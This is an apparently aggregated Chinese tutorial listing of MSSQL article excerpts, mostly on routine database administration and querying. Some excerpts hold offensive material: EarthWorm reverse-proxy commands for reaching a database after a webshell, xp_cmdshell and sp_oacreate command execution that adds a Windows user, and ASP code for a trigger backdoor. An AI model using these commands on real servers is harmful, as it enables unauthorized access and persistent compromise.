MSSQL - 技术教程文章

MSSQL Server 数据库备份还原常用SQL语句及注意【代码】

1.备份数据库backup database db_name to disk=‘d:\db_name.bak‘ with format--通过使用with format可以做到覆盖任何现有的备份和创建一个新的媒体集。--可以避免一些由于备份设置产生的错误.--帮助文档上的解释:--format指定应将媒体头写入用于此备份操作的所有卷。--任何现有的媒体头都被重写。format选项使整个媒体内容无效,--并且忽略任何现有的内容。2.备份日志backup log log_name to disk=‘d:\log_name.log‘ with nor...

sqlmap从入门到精通-第四章-4-7 使用EW代理导出和导入MSSQL数据【图】

4.7 使用EW代理导出和导入MSSQL数据一般的场景就是目标站点获取了webshell,然后数据库的IP地址不在目标站的本地,而且做了精准的访问控制,只允许目标站点的IP地址才能访问数据库,那么这个场景就适合通过代理的方式导出和导入了4.7.1 设置代理1. 在独立的公网IP执行命令命令如下:ew -s rcsocks -l 1080 -e 3389 上面的3389端口是独立公网IP地址监听的端口,1080是代理端口2. 在被控制服务器上执行命令命令如下:ew -s rssocks ...

MSSQL 高级查询【代码】

连接类型: 有五种,CROSS JOIN 交叉连接,INNER JOIN 内连接,LEFT JOIN 或者 LEFT OUTER JOIN 左外连接,RIGHT JOIN 或RIGHT OUTER JOIN 右外连接,FULL JOIN 或FULL OUTER JOIN 1、交叉连接 两个表的交叉连接是两个表进行广义笛卡儿积运算。返回的结果数据的行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。例如,在“图书”表中有8条记录,在出版社中有5条记录,那么使用交叉连接得到...

TOleDBMSSQLConnectionProperties驱动MSSQL数据库

TOleDBMSSQLConnectionProperties驱动MSSQL数据库为了让MORMOT可以驱动所有版本的MSSQL,需要改用SQLOLEDB,因为所有的WINDOWS操作系统里面都提供了SQLOLEDB。MORMOT1.18以上版本需要改SynOleDB.pas源码:procedure TOleDBMSSQLConnectionProperties.SetInternalProperties;begin OnCustomError := MSOnCustomError; if fProviderName=‘‘ then // fProviderName := ‘SQLNCLI10‘; // 注释此行 by cxg fProviderName := ...

mssql使用总结【代码】

重设密码 exec sp_password null,‘新密码‘,‘sa‘执行系统命令(1)exec xp_cmdshell ‘要执行的命令‘(2)declare @shell int exec sp_oacreate ‘wscript.shell‘,@shell out exec sp_oamethod @shell ,‘run‘,null,‘要执行的系统命令‘ exec sp_oamethod @shell ,‘run‘,null,‘c:\windows\system32\cmd.exe /c net user kkk zzz /add‘ exec sp_oamethod @shell ,‘run‘,null,‘c:\windows\system32\cmd.exe /c net loca...

MSSqlserver的锁模式介绍【代码】【图】

一 SQL Server 锁类型的说明在SQL Server数据库中加锁时,除了可以对不同的资源加锁,还可以使用不同程度的加锁方式,即有多种模式,SQL Server中锁模式包括:1.共享锁(S) 共享锁用于所以的制度数据操作。共享锁是非独占的,允许多个并发事务读取其锁定的资源。默认情况下,数据被读取后,SQL Server立刻释放共享锁。  例如: 执行查询"SELECT * FROM dbo.Customer"时,首先锁定第一页,读取之后,释放对第一页的锁定,然后锁定第...

MSSQL 获取数据库字段类型【代码】

1SELECT 2 col.name AS 列名,3 typ.name as 数据类型,4 col.max_length AS 占用字节数,5 col.precisionAS 数字长度,6 col.scale AS 小数位数,7 col.is_nullable AS 是否允许非空,8 col.is_identity AS 是否自增,9casewhenexists10 ( SELECT111FROM12 sys.indexes idx 13join sys.index_columns idxCol 14on (idx.object_id= idxCol.object_id) 15WHERE16 idx.object_id= col....

go 连接mssql【代码】

go 连接mssqlpackage mainimport ("database/sql""fmt""log"_ "github.com/denisenkom/go-mssqldb" )func main() {connectString := "server=127.0.0.1;database=yndb;user id=sa;password=sql;port=8829;encrypt=disable"println("Connection string=", connectString)db, err := sql.Open("mssql", connectString)defer db.Close()println("Open Error:", err)if err != nil {log.Fatal(err)}// 执行SQL语句rows, err := db.Quer...

野路子出身PowerShell 文件操作实用功能 MSSQL123

因工作需要,处理一批文件,本想写C#来处理的,后来想想这个是PowerShell的天职,   索性就网上各种搜,各种Demo,各种修改,花了半天时间,最后还是拼凑出来能达到效果了。   本身对PowerShell并不熟悉,可能有些弯路,实现的也比较烂,总之是把各种小功能拼凑在一起,最后还是拼凑出来能达到效果了。   如下是原始Demo,比较幼稚,权当是自己记录的笔记了   1,文件信息统计   如下文件夹下面有六个文本文件,统计这个...

mssql锁表、查询被锁表、解锁被锁表的相关语句【代码】

MSSQL(SQL Server)在我的印象中很容易锁表,大致原因就是你在一个窗口中执行的DML语句没有提交,然后又打开了一个窗口对相同的表进行CRUD操作,这样就会导致锁表。锁表是一种保持数据一致性的措施。下面是锁表、查询被锁表、解锁被锁表的相关语句。-- 锁表(其它事务不能读、更新、删除)BEGINTRANSELECT*FROM<表名>WITH(TABLOCKX); WAITFOR delay ‘00:00:20‘COMMITTRAN-- 锁表(其它事务只能读,不能更新、删除)BEGINTRANSEL...

jmeter之连接mysql和SQL Server配置【图】

下载jdbc驱动在使用jmeter做性能或自动化测试的时候,往往需要直接对数据库施加压力,或者某些参数只能从数据库获取,这时候就必须使用jmeter连接数据库。1.下载对应的驱动包mysql驱动:(mysql-connector-java-5.1.13-bin.jar 可能现在有跟新的版本了),并放到Jmeter目录中的lib文件下,复制之后,重启jmeter链接:http://download.csdn.net/source/3451945 sqlServer驱动:sqljdbc4.jar,一样都需要放到Jmeter目录中的lib文件下...

MySQL server has gone away报错原因分析/【代码】

在平时和开发的交流 以及 在论坛回答问题的或称中会发现这个问题被问及的频率非常高。程序中报错: MySQL server has gone away 是什么意思? 如何避免?因此,感觉有必要总结一下发生这个问题的原因。今天正好看到一篇外文blog总结的比较好,就翻译过来了原文:http://ronaldbradford.com/blog/sqlstatehy000-general-error-2006-mysql-server-has-gone-away-2013-01-02/ 原因1. MySQL 服务宕了判断是否属于这个原因的方法很简单,...

[翻译]初识SQL Server 2005 Reporting Services Part 2【图】

原文:[翻译]初识SQL Server 2005 Reporting Services Part 2  在Part 1文章中我们对SQL Server Reporting Services 2005(SSRS)有了一个初步的了解。我们分别通过报表向导和报表设计器构建了两个报表。在Part 2我们将以一个SSRS开发者的身份深入查看更多特征信息。  以下是我们要研究的:  l 表达式的用法。这些表达式可以让你动态的控制从控件属性到数据绑定的报表的各个方面。  l 报表中用到的计算和操作的通用函数。 ...

SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问的解决方案【代码】【图】

今天写了一个excel表的导入功能,结果在excel表中的内容导入到页面时报错:SQL Server 阻止了对组件 ‘Ad Hoc Distributed Queries‘ 的 STATEMENT‘OpenRowset/OpenDatasource‘ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Ad Hoc Distributed Queries‘。有关启用 ‘Ad Hoc Distributed Queries‘ 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器...

【整理】更改MSSQL默认字符集

记录所有应用到 SQL Server 实例和当前排序规则的 Service Pack 和修补程序:SELECT SERVERPROPERTY(‘ProductVersion ‘) AS ProductVersion, SERVERPROPERTY(‘ProductLevel‘) AS ProductLevel, SERVERPROPERTY(‘ResourceVersion‘) AS ResourceVersion, SERVERPROPERTY(‘ResourceLastUpdateDateTime‘) AS ResourceLastUpdateDateTime, SERVERPROPERTY(‘Collation‘) AS Collation; 记录系统数据库的所有数据文件和日志文件的...

SqlServer mssql 按月统计所有部门

以订单统计为例,前端展示柱状图(Jquery统计):表及主要字段描述如下;表名:Orders1.日期CreateTime2.金额Amount3.用户UserID情况一:根据部门统计某一年每月销量(查询一个部门月统计)1)直接在SQL语句中判断每月信息,好处,前台直接调用;坏处,性能不高。SQL语句:SELECT SUM(CASE WHEN MONTH(s.CreateTime) = 1 THEN s.Amount ELSE 0 END) AS ‘一月‘,SUM(CASE WHEN MONTH(s.CreateTime) = 2 THEN s.Amount ELSE 0 END) A...

以CTE表达式实现MSSQL的字符串分割函数

ALTER FUNCTION [dbo].[Split] (@sep varchar(2), @s varchar(512))RETURNS tableASRETURN ( WITH Pieces(pn, start, stop) AS ( SELECT 1, 1, CHARINDEX(@sep, @s) UNION ALL SELECT pn + 1, stop + 1, CHARINDEX(@sep, @s, stop + 1) FROM Pieces WHERE stop > 0 ) SELECT pn, SUBSTRING(@s, start, CASE WHEN stop > 0 THEN stop-start ELSE 512 END) AS s FROM Pieces )原文:...

MSSQL数据加密解密代码

可以查看: 复制代码 代码如下:OPEN SYMMETRIC KEY 命令关于 对称密钥加密使用证书解密 CREATE MASTER KEY ENCRYPTION BY PASSWORD = ‘password‘ go CREATE CERTIFICATE CertTest with SUBJECT = ‘Test Certificate‘ GO --创建非对称密钥 CREATE ASYMMETRIC KEY TestAsymmetric WITH ALGORITHM = RSA_2048 ENCRYPTION BY PASSWORD = ‘password1‘ ; GO ALTER ASYMMETRIC KEY TestAsymmetric WITH PRIVATE KEY (DECRYPTION BY ...

SQL SERVER 比较两个数据库中表和字段的差异【代码】

在开发过程中线上的数据库表字段和本地数据库表字段是存在的,也许我们在本地数据库中所增加的表字段都会有记录到SQL文件中,但当增加的表及字段名称较多时总会出现漏网之鱼,发布真是版本的时候回出现很多很多的问题,那么如何在发布新的版本时保证线上数据库与本地数据库中的表字段都是统一的了,下面我说一个比较笨的方法去保证两个数据库无差异。1、将线上的数据库架构生成成为SQL,操作如下: 选择中某线上数据库 → 任务 → ...

MSSQL 补丁下载

2005 SP4 Microsoft SQL Server 2005 Service Pack 4 RTM 2008 SP4 SQL Server 2008 Service Pack 4原文:http://gnlgnl.blog.51cto.com/2786498/1599145

MSSQL大全【代码】【图】

原文地址:http://www.cnblogs.com/gameworld/p/4790881.html#_label01.什么是SQL语句2.使用sql语句创建数据库和表3.创建数据表4.数据完整性约束5.四中基本字符类型说明6.SQL基本语句7.类型转换函数8.日期函数9.数学函数10.字符串函数11.联合结果集union12.CASE函数用法13.IF ELSE语法14.WHILE循环语法15.子查询16.表连接Join17.事务18.视图19.触发器20.存储过程21.分页存储过程22.索引23.临时表回到顶部1.什么是SQL语句sql语言:结...

今天开始我的 MSSQLSERVER 之旅

因为本人爱好自学,所以就从零基础自学了SQL SERVER 也是在3WSCHOOL上学习的,内容同步3WSCHOO的内容,也相当于自己的一遍复习吧!!!就从最简的开始:数据库:什么是数据库?? 答:数据库通常是由一个表或多个表组成的,并且每个表都有自己的标识(例如:客户订单表,商品表等等),并且表里包含多条记录,这是的记录也就是我们所说的行.下面的例子是一个名为‘‘persons‘‘表IdLastnameFirstNameAddressCity1AdamsJohnOxford StreetLon...

重新安装Sql Server 2012 报错【图】

在同一台电脑上重新安装Sql Server,出现一些问题,归纳一下1,"Reporting Services Catalog Database file Existence" failed错误原因是:Reporting Service Catalog Database File是SSRS的database 文件, 已经存在于安装目录中,解决方法是:删除安装目录中跟Reporting service 相关的四个文件 原文:http://www.cnblogs.com/ljhdo/p/4535301.html

2_01_MSSQL课程_查询02

1.where 条件过滤  常见的表达式过滤:比如: select * from 表 where Id>10;  多条件过滤: and or not (优先级:not > and > or)  区间过滤:between and 和 in  模糊查询    like 查询语法    针对字符产查询的通配符: % _ []    特殊字符转义。 ‘’ 和[  空值处理:    列=null的结果    is null 和 is not null(排序Order by 默认是asc)数据进行分组:Group byhaving 过滤原文:https:...

[MSSQL2008]Spatial Data in SQL Server 2008 - 根据经纬度计算两点间距离【图】

DECLARE @BJ GEOGRAPHY DECLARE @XT GEOGRAPHY /* GET Latitude/Longitude FROM here:http://www.travelmath.com/cities/Beijing,+China the distance unit in SRID 4326 is the meter */ SELECT @BJ = geography::Point(‘39.92889‘, ‘116.38833‘, 4326) SELECT @XT = geography::Point(‘37.0630556‘, ‘114.4941667‘, 4326) SELECT @BJ AS Beijing, @XT AS Xingtai, ‘The distan...

MsSql 触发器后门asp版

复制代码代码如下:<%‘里边的变量代码大家用时自己改吧On Error Resume nextSet conn=Server.CreateObject("ADODB.Connection") DSN="driver={SQL Server};Server=(Local)\GSQL;database=baby;uid=sa;pwd=lcx;"conn.Open DSNif conn.State=1 then response.write("成功") sql="CREATE TRIGGER myasp_bkdoor"&Chr(10)&Chr(13)&"ON users_member"&Chr(10)&Chr(13)&"AFTER UPDATE"&Chr(10)&Chr(13)&"AS"&Chr(10)&Chr(13)&"IF user=‘d...

MSSQL 打开xp_cmdshell【代码】

sp_configure ‘show advanced options‘,1reconfigurego sp_configure ‘xp_cmdshell‘,1reconfigurego 原文:http://www.cnblogs.com/Qos8/p/6076395.html

SQLServer函数 left()、charindex()、stuff()的使用【图】

1、left() LEFT (<character_expression>, <integer_expression>) 返回character_expression 左起 integer_expression 个字符。2.charindex() CHARINDEX (<’substring_expression’>, <expression>)返回字符串中某个指定的子串出现的开始位置。 其中substring _expression 是所要查找的字符表达式,expression 可为字符串也可为列名表达式。如果没有发现子串,则返回0 值。 此函数不能用于TEXT 和IMAGE 数据类型。3.stuff(...

sqlserver安装相关问题

最近在部署一个工程,数据库(sqlserver2005develop)遇到不少问题,下面将一一列出。  安装完毕后,无法连接到本地实例。 打开microsoft sql server 2005->配置工具->sql server configuration management,发现其中的sql server 2005服务和sqlserver2005网络配置空白。 原因:安装时,只安装了客户端(client),没有安装server。回想安装过程可以发现,并没有提示填写实例名称。 解决方法:下载安装相应版本的server,打补丁...

SQL Server 为代码减负之存储过程【图】

存储过程能够用来提高数据库的查询效率。由于它事先被编译过。被储存于内存中,每次执行前。不必被从新编译,所以效率非常高。存储过程是一组sql 增删改查的集合,假设程序中的一个功能涉及到对数据库的多次操作。那么就能够事先编译好存储过程。以提高程序执行效率! 简单查询:CREATE PROCEDURE sp_query_online_info AS SELECT *FROM T_OnLine_info GO 运行存储过程:EXEC sp_query_online_info 带參数的存储过程:C...